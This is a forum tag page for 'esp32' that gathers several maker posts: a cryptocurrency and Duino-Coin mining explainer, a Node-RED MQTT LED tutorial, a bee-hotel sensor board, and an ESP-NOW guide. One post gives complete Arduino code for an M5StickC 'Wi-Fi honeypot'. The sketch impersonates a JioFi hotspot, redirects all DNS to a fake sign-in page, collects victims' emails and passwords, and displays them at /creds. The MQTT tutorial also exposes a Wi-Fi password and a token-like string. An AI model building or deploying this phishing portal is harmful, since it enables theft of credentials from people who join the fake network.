Search the Community
Showing results for tags 'esp32'.
-
Cryptocurrency: A New Era of Money Money is one of the most important inventions in human history. It is a medium of exchange, a store of value, and a unit of account. Money enables trade, commerce, and economic growth. However, money also has its limitations and challenges. For example, money can be counterfeited, stolen, or inflated. To overcome these problems, some people have invented a new form of money: cryptocurrency. Cryptocurrency is a type of digital currency that uses cryptography to secure and verify transactions. Cryptocurrency is decentralized, meaning that it is not controlled by any central authority or government. Cryptocurrency transactions are recorded on a distributed ledger called a blockchain, which ensures transparency and immutability. Some examples of cryptocurrencies are: Bitcoin: The first and most popular cryptocurrency, created in 2009 by an anonymous person or group using the pseudonym Satoshi Nakamoto. Bitcoin has a limited supply of 21 million coins and uses a proof-of-work algorithm to validate transactions and create new blocks. Ethereum: A platform that allows developers to create decentralized applications (dApps) and smart contracts using its native cryptocurrency, ether. Ethereum uses a proof-of-stake algorithm to secure its network and enable faster transactions. Cryptocurrencies have many advantages over traditional money. They are: Secure: Cryptocurrencies use cryptography to protect transactions from fraud and hacking. Cryptocurrencies also have no single point of failure, as they are distributed across many nodes on the network. Transparent: Cryptocurrencies allow anyone to view the history and details of every transaction on the blockchain. Cryptocurrencies also have no hidden fees or charges, as they are based on peer-to-peer transactions. Inclusive: Cryptocurrencies enable anyone with an internet connection and a digital wallet to access the global financial system. Cryptocurrencies also have no barriers to entry or discrimination, as they are open to anyone regardless of their identity or location. Innovative: Cryptocurrencies foster innovation and creativity, as they allow developers to create new applications and services using blockchain technology. Cryptocurrencies also have the potential to disrupt various industries and sectors, such as banking, e-commerce, healthcare, education, and more. Cryptocurrencies are not without challenges and risks, however. They are: Volatile: Cryptocurrencies are subject to high price fluctuations due to supply and demand dynamics, market sentiment, regulatory uncertainty, and technical issues. Cryptocurrencies can also be affected by external factors, such as geopolitical events, cyberattacks, media coverage, and public opinion. Complex: Cryptocurrencies require a steep learning curve for users to understand how they work and how to use them safely and effectively. Cryptocurrencies also involve technical jargon and concepts that may be confusing or intimidating for beginners. Unregulated: Cryptocurrencies operate in a legal gray area, as they are not recognized or regulated by most governments and authorities. Cryptocurrencies may face legal restrictions or bans in some areas, which may limit their adoption and usage. Cryptocurrencies may also pose ethical and social issues, such as tax evasion, money laundering, terrorism financing, and environmental impact. Cryptocurrency is a new era of money that offers many opportunities and challenges for the future. Cryptocurrency is not just a technology or a currency; it is a social phenomenon that reflects the values and aspirations of its users. Cryptocurrency is not perfect or flawless; it is an experiment that evolves and improves over time. Cryptocurrency is not for everyone or everything; it is a choice that depends on one’s preferences and needs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Crypto mining: It is the process of creating new units of cryptocurrency by solving complex mathematical problems. Crypto mining is essential for securing and verifying transactions on the blockchain, which is a distributed ledger that records the history and details of every transaction. Crypto mining also rewards miners with newly minted coins, which increases the supply and circulation of cryptocurrency. There are several types of crypto mining, depending on the algorithm and consensus mechanism used by the cryptocurrency network. The most common type is proof-of-work (PoW) mining, which requires miners to use their computing power to compete to find the solution to a cryptographic puzzle. The first miner who solves the puzzle gets to add a new block to the blockchain and claim the block reward. Some examples of cryptocurrencies that use PoW mining are Bitcoin, Ethereum, Litecoin, and Monero. Another type of crypto mining is proof-of-stake (PoS) mining, which requires miners to stake a certain number of coins to participate in the validation process. PoS mining does not involve solving puzzles but rather selecting validators based on their stake and other factors. Validators then take turns to propose and confirm new blocks and receive rewards based on their stake and performance. Some examples of cryptocurrencies that use PoS mining are Cardano, Polkadot, Binance Coin, and Tezos. Crypto mining can be profitable or unprofitable, depending on several factors such as the price of the cryptocurrency, the difficulty of the mining algorithm, the cost of electricity and hardware, and the competition from other miners. Crypto mining can also have environmental and social impacts, such as energy consumption, carbon emissions, waste generation, noise pollution, and regulatory issues. If you want to mine cryptocurrency, you will need some specialized hardware that can perform complex calculations and consume a lot of electricity. There are several types of hardware for mining different cryptocurrencies, but the most common ones are ASIC (application-specific integrated circuit) devices, which are designed to mine a specific algorithm or coin. Some of the best ASIC devices for mining cryptocurrency in 2023 are: Antminer S19 Pro: This is one of the most powerful and efficient Bitcoin mining hardware, with a hash rate of 110 TH/s and a power consumption of 3,250 W. WhatsMiner M30S++: This is another top Bitcoin mining hardware, with a hash rate of 112 TH/s and a power consumption of 3,472 W. AvalonMiner 1246: This is heavy-duty Bitcoin mining hardware, with a hash rate of 90 TH/s and a power consumption of 3,420 W. WhatsMiner M32-62T: This is a new Bitcoin mining hardware, with a hash rate of 62 TH/s and a power consumption of 3,360 W. You can see these are some of the high-power and costly miners, also their power consumption is extremely high. In this tutorial, you will see how to mine crypto with low-power ESP32 microcontrollers. Duco Coin: A Simple and Eco-Friendly Crypto Coin Duco coin is a unique crypto coin that can be mined using low-powered devices, such as Arduino boards, ESP32, Raspberry Pi, and even old computers. Duco coin aims to provide a simple, accessible, and eco-friendly way of participating in the crypto world, without the need for expensive and energy-intensive hardware. Duco coin uses its own blockchain and consensus algorithm, called DUCO-S1, which is based on SHA-1. DUCO-S1 is designed to be fast, secure, and adaptable to different devices and mining methods. Duco coin also uses a reward system called theKolka system, which adjusts the mining difficulty and rewards based on the device’s performance and network conditions. The Kolka system ensures that low-powered devices have a fair chance of earning coins while preventing abuse and spam. The Duco coin has an infinite supply of coins, but it also has a burning mechanism that reduces circulation by destroying some coins every time a transaction is made. This creates a balance between inflation and deflation and maintains the value of the coin. The Duco coin also has no transaction fees, as the miners are rewarded by the Kolka system. The Duco coin is a crypto coin that offers many advantages over traditional coins. It is: Simple: Duco coin is easy to mine, use, and understand. It does not require any complex setup or configuration. It also has a user-friendly web wallet and a mobile app that allows users to manage their funds and transactions. Eco-friendly: Duco coin is environmentally friendly, as it uses low-powered devices that consume minimal electricity and generate less heat and noise. It also reduces electronic waste by giving new life to old devices. Inclusive: Duco coin is inclusive, as it enables anyone with an internet connection and a cheap device to join the crypto world. It also has no barriers to entry or discrimination, as it is open to anyone regardless of their identity or location. Innovative: Duco coin is innovative, as it fosters creativity and experimentation among its users and developers. It also has the potential to disrupt various industries and sectors, such as education, gaming, IoT, and more. Duco coin is a new era of crypto coin that offers simplicity, sustainability, accessibility, and diversity. Duco coin is not just a technology or a currency; it is a community that shares the same vision and values. How to mine Duco coin with ESP32: To mine Duco coin with ESP32, you will need the following steps: Step 1: Register an account on the Duino-Coin website and create a wallet. You will need your username and wallet address for mining. Step 2: Download and install the Arduino IDE and the ESP32 board support package. You will also need to install some libraries, such as WiFiClientSecure, ArduinoJson, and DHT (if you want to use a DHT sensor). Step 3: Download the Duino-Coin ESP32 code from GitHub and open it in the Arduino IDE. Edit the code to enter your Wi-Fi name, password, username, and mining key (if you enabled it in the wallet). You can also change the rig identifier and the LED pin if you want. Step 4: Connect your ESP32 board to your computer via a USB cable and select the correct port and board settings in the Arduino IDE. Upload the code to your ESP32 board and wait for it to connect to the Duino-Coin server. Step 5: You can monitor your mining status and earnings on the Duino-Coin web wallet or the mobile app. You can also use the serial monitor in the Arduino IDE to see the debug messages from your ESP32 board. That’s it! You are now mining Duco coin with your ESP32 board. You can also use multiple ESP32 boards or other devices, such as Arduino, Raspberry Pi, or PC, to increase your hash rate and earnings. However, be aware of the Kolka system, which adjusts the mining difficulty and rewards based on your device’s performance and network conditions.
- 2 replies
-
- cryptocurrency
- esp32
-
(and 3 more)
Tagged with:
-
Introduction In this tutorial, you will learn how to use Node-RED, a visual programming tool for the Internet of Things (IoT), to control an LED on an ESP32 board with a Raspberry Pi as the MQTT broker. MQTT is a lightweight and simple messaging protocol that allows devices to communicate with each other over a network. You will need the following components for this project: ESP32 development board USB cable to connect the ESP32 to your computer Raspberry Pi with Node-RED Computer with Arduino IDE and PubSubClient library installed Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Create a Device on Qubitro The first step is to create a device on the Qubitro platform. A device represents your physical device (Raspberry Pi) on the cloud. You need to create a device to obtain the MQTT credentials and topics for your Raspberry Pi. To create a device on Qubitro, follow these steps: 1. Log in to your Qubitro account and create a new project 2. Then go to the Devices page, select MQTT as the communication protocol, and click Next. 3. Enter all the details. 4. Copy the Device ID, Device Token, Hostname, Port, Publish Topic, and Subscribe Topic. You will need these values later in the code. Click Finish. You have successfully created a device on Qubitro. You can see your device on the Devices page. Step 2: Flash ESP32 with Arduino IDE The ESP32 is a powerful and versatile microcontroller that can run Arduino code. You will use the Arduino IDE to program the ESP32 and make it communicate with the MQTT broker using the PubSubClient library. To install the ESP32 board in Arduino IDE, you can follow the instructions in this tutorial or use the steps below: Open the preferences window from the Arduino IDE: File > Preferences. Go to the “Additional Board Manager URLs” field and enter the following URL: https://dl.espressif.com/dl/package_esp32_index.json. Open Boards Manager (Tools > Board > Boards Manager), search for ESP32, and click the install button for the “ESP32 by Espressif Systems”. Select your ESP32 board from Tools > Board menu after installation. Open the library manager from Sketch > Include Library > Manage Libraries. Search for PubSubClient and click the install button for the “PubSubClient by Nick O’Leary”. Restart your Arduino IDE after installation. Step 3: Connect LED to ESP32 The LED is a simple device that emits light when current flows through it. You will connect the LED to one of the GPIO pins of the ESP32 and control its state (on or off) with MQTT messages. In my case I'm going to use the onboard LED in the ESP32 Dev board. Step 4: Write Code for ESP32 The code for the ESP32 will do the following tasks: Connect to your Wi-Fi network Connect to the Qubitro MQTT broker on Raspberry Pi Receive messages from “output” and turn on or off the LED accordingly You can copy and paste the code below into your Arduino IDE. Make sure to replace <your_ssid>, <your_password>, <your_Qubtro_Credientials> with your own values. #include <WiFi.h> #define DEBUG_SW 1 #include <PubSubClient.h> //Relays for switching appliances #define Relay1 2 int switch_ON_Flag1_previous_I = 0; // Update these with values suitable for your network. const char* ssid = "ELDRADO"; const char* password = "amazon123"; const char* mqtt_server = "broker.qubitro.com"; // Local IP address of Raspberry Pi const char* username = ""; const char* pass = ""; // Subscribed Topics #define sub1 "output" WiFiClient espClient; PubSubClient client(espClient); unsigned long lastMsg = 0; #define MSG_BUFFER_SIZE (50) char msg[MSG_BUFFER_SIZE]; int value = 0; // Connecting to WiFi Router void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } randomSeed(micros()); Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* payload, unsigned int length) { Serial.print("Message arrived ["); Serial.print(topic); Serial.print("] "); if (strstr(topic, sub1)) { for (int i = 0; i < length; i++) { Serial.print((char)payload[i]); } Serial.println(); // Switch on the LED if an 1 was received as first character if ((char)payload[0] == 'f') { digitalWrite(Relay1, LOW); // Turn the LED on (Note that LOW is the voltage level // but actually the LED is on; this is because // it is active low on the ESP-01) } else { digitalWrite(Relay1, HIGH); // Turn the LED off by making the voltage HIGH } } else { Serial.println("unsubscribed topic"); } } // Connecting to MQTT broker void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Create a random client ID String clientId = "ESP8266Client-"; clientId += String(random(0xffff), HEX); // Attempt to connect if (client.connect(clientId.c_str() , username, pass)) { Serial.println("connected"); // Once connected, publish an announcement... client.publish("outTopic", "hello world"); // ... and resubscribe client.subscribe(sub1); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void setup() { pinMode(Relay1, OUTPUT); Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void loop() { if (!client.connected()) { reconnect(); } client. Loop(); } After writing the code, upload it to your ESP32 board by selecting the right board and port from the Tools menu and clicking the upload button. Step 5: Create Node-RED Flow The Node-RED flow will do the following tasks: Connect to the MQTT broker on Raspberry Pi Subscribe to a topic named “output” Publish messages “true” or “false” to a topic named “output” Create a dashboard with a button and a text node You can create the Node-RED flow by dragging and dropping nodes from the palette and connecting them with wires. You can also import the flow from this link or use the JSON code below: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "4ce6cd876fd5441f", "type": "mqtt out", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "", "retain": "", "respTopic": "", "contentType": "", "userProps": "", "correl": "", "expiry": "", "broker": "6d40b7b21c734b53", "x": 870, "y": 240, "wires": [] }, { "id": "974a7a8bb6db9bf9", "type": "mqtt in", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "2", "datatype": "auto-detect", "broker": "6d40b7b21c734b53", "nl": false, "rap": true, "rh": 0, "inputs": 0, "x": 670, "y": 320, "wires": [ [ "d0dc7378c7bfb03b", "f1219a2eeabe825f" ] ] }, { "id": "d0dc7378c7bfb03b", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 4", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 880, "y": 320, "wires": [] }, { "id": "6bd227b280e372b7", "type": "ui_switch", "z": "eb8f9c0d054be30c", "name": "", "label": "Light One", "tooltip": "", "group": "cd687a95.00e108", "order": 0, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 680, "y": 240, "wires": [ [ "4ce6cd876fd5441f" ] ] }, { "id": "f1219a2eeabe825f", "type": "ui_text", "z": "eb8f9c0d054be30c", "group": "cd687a95.00e108", "order": 1, "width": "6", "height": "2", "name": "", "label": "Status : ", "format": "{{msg.payload}}", "layout": "row-center", "x": 1060, "y": 320, "wires": [] }, { "id": "6d40b7b21c734b53", "type": "mqtt-broker", "name": "Qubitro Downlink", "broker": "broker.qubitro.com", "port": "1883", "clientid": "", "autoConnect": true, "usetls": false, "protocolVersion": "4", "keepalive": "60", "cleansession": true, "autoUnsubscribe": true, "birthTopic": "r43MsJYzcVwZtUXVfZo6XD0Ym7CRegewPQXMt$ho", "birthQos": "0", "birthPayload": "", "birthMsg": {}, "closeTopic": "", "closeQos": "0", "closePayload": "", "closeMsg": {}, "willTopic": "", "willQos": "0", "willPayload": "", "willMsg": {}, "userProps": "", "sessionExpiry": "" }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "ESP32 Home Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] The input switch will send "true" when it is on, and it will send "false" when it triggers off. Then click on the Qubitro uplink pallet and edit the property. Here you need to replace your connection details and credentials. Next, just deploy the flow. And navigate to the /ui of the node-red server. Here you can toggle the switch to turn the lead on and off. Also, open the serial monitor and check the node-red response. Conclusion: In this tutorial, we have seen how to control the LED with Node-Red and MQTT Server.
-
- raspberry pi
- node red
-
(and 3 more)
Tagged with:
-
Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "<"); a.replace(">", ">"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>© All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
-
One of my teammates is working on an open Hardware Project that I thought to share. The product they’re developing is a bee hotel for native bees (not honeybees)! At the SF Climate hackathon, they integrated the Particle Argon onto a PCB with solar panels, MPPC, and a PWM PIR sensor for the bees. Here’s the link to the schematics, layout and 3D. I'll add a 3D screenshot at the bottom of the post. "A little bit of background, a native bee hotel houses sedentary bees which lay their eggs in tube structures, like hollow plant stems. We want to use PIR sensors along the tubes to get bee traffic data and build a country-wide bee traffic map. Solar Cells I’ve bumped into the IXYS KXOB25 series before and loved them for their reflowability. I wanted to connect them in parallel so the only constraint was that their output voltage is less than 5V, which is the maximum input voltage of the energy harvesting IC. Energy Harvesting I chose the LTC3105EDD 15 because I’ve seen it used to maximize solar cell power output in some nanosatellite projects I’ve browsed in the past. Although it doesn’t have an actual MPPT algorithm, it has a very attractive 250mV startup voltage which can potentially increase the times of day our device will provide power (dawn, dusk, cloud cover). All this needs real world testing which is coming next week. PIR Sensors These are paired infrared transmitters and receivers. As seen in the 3D view, we’re using 2 of them per bee tube to determine which direction the bees are going (in or out of the tube). Of course, this would need to be done in firmware. To save power (because these PIR diodes are super power hungry, we added a low side MOSFET that switches all three strings of PIR diodes (they are strung in series to get 1.1V drive from a 3.3V source). In theory, we can decrease the PWM duty cycle to as low as the PIR’s rise time and set the frequency to 1Hz which would save so much power. Future Steps Here are the unknowns that we’ll be researching. I already see some good answers in the forums, but please feel free to chime in! I’ve played with Edge Impulse in the past and we want to run a small tflite model on particle hardware that would determine what type of bee is in the hotel based on a short audio sample. We also want to send this data to a central server hosted by particle; in your experience how many weeks/months would it take to setup particle cloud to get up to 100 provisioned devices sending about 50 bytes of data to a central server? It would be awesome if we can get that done quickly."
-
ESP-NOW is a wireless communication protocol based on the data-link layer that enables the direct, quick, and low-power control of smart devices without the need for a router. Espressif defines it and can work with Wi-Fi and Bluetooth LE. ESP-NOW provides flexible and low-power data transmission to all interconnected devices. It can also be used as an independent protocol that helps with device provisioning, debugging, and firmware upgrades. ESP-NOW is a connectionless communication protocol developed by Espressif that features short packet transmission. This protocol enables multiple devices to talk to each other in an easy way. It is a fast communication protocol that can be used to exchange small messages (up to 250 bytes) between ESP32 or ESP8266 boards. ESP-NOW supports the following features: Encrypted and unencrypted unicast communication; Mixed encrypted and unencrypted peer devices; Up to 250-byte payload can be carried; Sending callback function that can be set to inform the application layer of transmission success or failure. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. How is it different from existing protocols? ESP-NOW is a wireless communication protocol that is different from Wi-Fi and Bluetooth in that it reduces the five layers of the OSI model to only one1. Additionally, ESP-NOW occupies fewer CPU and flash resources than traditional connection protocols while co-exists with Wi-Fi and Bluetooth LE. Bluetooth is used to connect short-range devices for sharing information, while Wi-Fi is used for providing high-speed internet access2. Wi-Fi provides high bandwidth because the speed of the internet is an important issue. Max Distance: The range of ESP-NOW is up to 480 meters when using the ESP-NOW protocol for bridging between multiple ESP32s1. The range can be further increased by enabling long-range ESP-NOW. When enabled, the PHY rate of ESP32 will be 512Kbps or 256Kbps. Maximum nodes: ESP-NOW supports various series of Espressif chips, providing a flexible data transmission that is suitable for connecting “one-to-many” and “many-to-many” devices. Applications: ESP-NOW is widely used in smart-home appliances, remote controlling, sensors, etc. In this tutorial, will see how to implement a basic ESP NOW communication between ESP32 Microcontrollers. Step: 1 ESPNOW communication works based on the MAC address of the nodes. So, we need to find the Mac address of our slave or receiver node. ]For that just upload the following sketch to the ESP32 board and look for the Mac address in the serial monitor. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Once you uploaded the code, press the EN button and wait for the serial monitor results. It will show you the Mac address. Note that. Step-2: Next, we need to prepare the transmitter, for that use this example sketch which can send multiple data types of data to the particular slave node. #include <esp_now.h> #include <WiFi.h> // REPLACE WITH YOUR RECEIVER MAC Address uint8_t broadcastAddress[] = {0x94, 0xB5, 0x55, 0x26, 0x27, 0x34}; // Must match the receiver structure typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; esp_now_peer_info_t peerInfo; // callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { // Init Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // Once ESPNow is successfully Init, we will register for Send CB to // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); // Register peer memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; // Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { // Set values to send strcpy(myData.a, "I'm alive"); myData.b = random(1,20); myData.c = 1.2; myData.d = false; // Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &myData, sizeof(myData)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here are the serial monitor results, it show sent success but not delivered. Because we don't have the receiver. Let's try to implement the receiver. Step-3: Step-3:d example sketch which can receive the data from the master and it will print that into the serial monitor. #include <esp_now.h> #include <WiFi.h> // Structure example to receive data typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; // callback function that will be executed when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&myData, incomingData, sizeof(myData)); Serial.print("Bytes received: "); Serial.println(len); Serial.print("Char: "); Serial.println(myData.a); Serial.print("Int: "); Serial.println(myData.b); Serial.print("Float: "); Serial.println(myData.c); Serial.print("Bool: "); Serial.println(myData.d); Serial.println(); } void setup() { // Initialize Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // get recv packer info esp_now_register_recv_cb(OnDataRecv); } void loop() { } Serial monitor results. Wrap Up: We have seen how to implement the ESP NOW in ESP32 microcontroller, in upcoming tutorials will see how to transmit sensor data via ESPNOW.
-
